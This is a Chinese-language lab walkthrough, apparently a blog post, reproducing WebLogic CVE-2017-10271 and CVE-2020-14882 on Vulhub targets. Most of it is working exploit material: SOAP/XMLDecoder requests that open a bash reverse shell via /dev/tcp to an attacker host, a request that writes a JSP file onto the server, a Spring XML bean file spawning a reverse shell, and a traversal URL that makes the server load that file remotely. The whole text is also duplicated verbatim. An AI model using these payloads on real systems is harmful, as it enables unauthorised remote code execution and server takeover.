Weblogic

简介

Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。
以下漏洞均通过Vulhub拉取靶场复现

CVE-2017-10271(XMLDecoder反序列化漏洞)

漏洞成因

CVE-2017-10271的漏洞产生原因简单来说就是weblogic的WLS Security组件对外提供的webserver服务调用了XMLDecode去解析了用户传入的XML数据,在解析过程中出现了反序列化漏洞,导致了攻击者可以通过漏洞来达到任意命令执行。

漏洞位于以下路径:/wls-wsat/CoordinatorPortType11
此外还可能位于以下路径,在fuzz时,可以将以下路径加入dirsearch字典

1
2
3
4
5
6
7
8
9
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11


来到存在漏洞的路径,先用nc在kali上监听一个端口

通过burp抓包将burp数据包替换为poc的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶子:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/接收反弹shell的ip/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>




这里靶机和弹shell的机器都用的kali,问题不大,后面分开弄,总之,能够看到shell弹回来了
更改请求体为写入一个jsp文件。
POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶机:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 656

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test666.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test666"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>


该jsp为打印一段test666,文件路径为/bea_wls_internal/9j4dqk/war/test666.jsp

CVE-2020-14882(未授权访问)

直接将该路径拼接到URL里面/console/css/%252e%252e%252fconsole.portal
这是未授权访问的页面,少了很多功能

下面通过和CVE-2017-10271相似的方法,也用到了XML解析的方法反弹shell,但是这里是让服务器去访问在攻击机上构造的xml文件,然后达到反弹shell的目的,而不是之前直接在请求包中携带xml内容让服务器解析。

首先在kali上开一个http80的端口,这里有一个注意事项我们需要在test.xml的目录开启web服务,哪里开启服务,哪里就是根目录。

然后在我们的攻击机上桌面创建一个xml文件,内容如下

1
2
3
4
5
6
7
8
9
10
11
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.179.129/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

之后使用nc监听1234端口

然后使用如下payload去访问该xml文件

1
2
http://192.168.179.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.179.129/test.xml")

成功反弹shell

简介

Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。
以下漏洞均通过Vulhub拉取靶场复现

CVE-2017-10271(XMLDecoder反序列化漏洞)

漏洞成因

CVE-2017-10271的漏洞产生原因简单来说就是weblogic的WLS Security组件对外提供的webserver服务调用了XMLDecode去解析了用户传入的XML数据,在解析过程中出现了反序列化漏洞,导致了攻击者可以通过漏洞来达到任意命令执行。

漏洞位于以下路径:/wls-wsat/CoordinatorPortType11
此外还可能位于以下路径,在fuzz时,可以将以下路径加入dirsearch字典

1
2
3
4
5
6
7
8
9
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11


来到存在漏洞的路径,先用nc在kali上监听一个端口

通过burp抓包将burp数据包替换为poc的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶子:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/接收反弹shell的ip/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>




这里靶机和弹shell的机器都用的kali,问题不大,后面分开弄,总之,能够看到shell弹回来了
更改请求体为写入一个jsp文件。
POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶机:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 656

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test666.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test666"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>


该jsp为打印一段test666,文件路径为/bea_wls_internal/9j4dqk/war/test666.jsp

CVE-2020-14882(未授权访问)

直接将该路径拼接到URL里面/console/css/%252e%252e%252fconsole.portal
这是未授权访问的页面,少了很多功能

下面通过和CVE-2017-10271相似的方法,也用到了XML解析的方法反弹shell,但是这里是让服务器去访问在攻击机上构造的xml文件,然后达到反弹shell的目的,而不是之前直接在请求包中携带xml内容让服务器解析。

首先在kali上开一个http80的端口,这里有一个注意事项我们需要在test.xml的目录开启web服务,哪里开启服务,哪里就是根目录。

然后在我们的攻击机上桌面创建一个xml文件,内容如下

1
2
3
4
5
6
7
8
9
10
11
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.179.129/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

之后使用nc监听1234端口

然后使用如下payload去访问该xml文件

1
2
http://192.168.179.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.179.129/test.xml")

成功反弹shell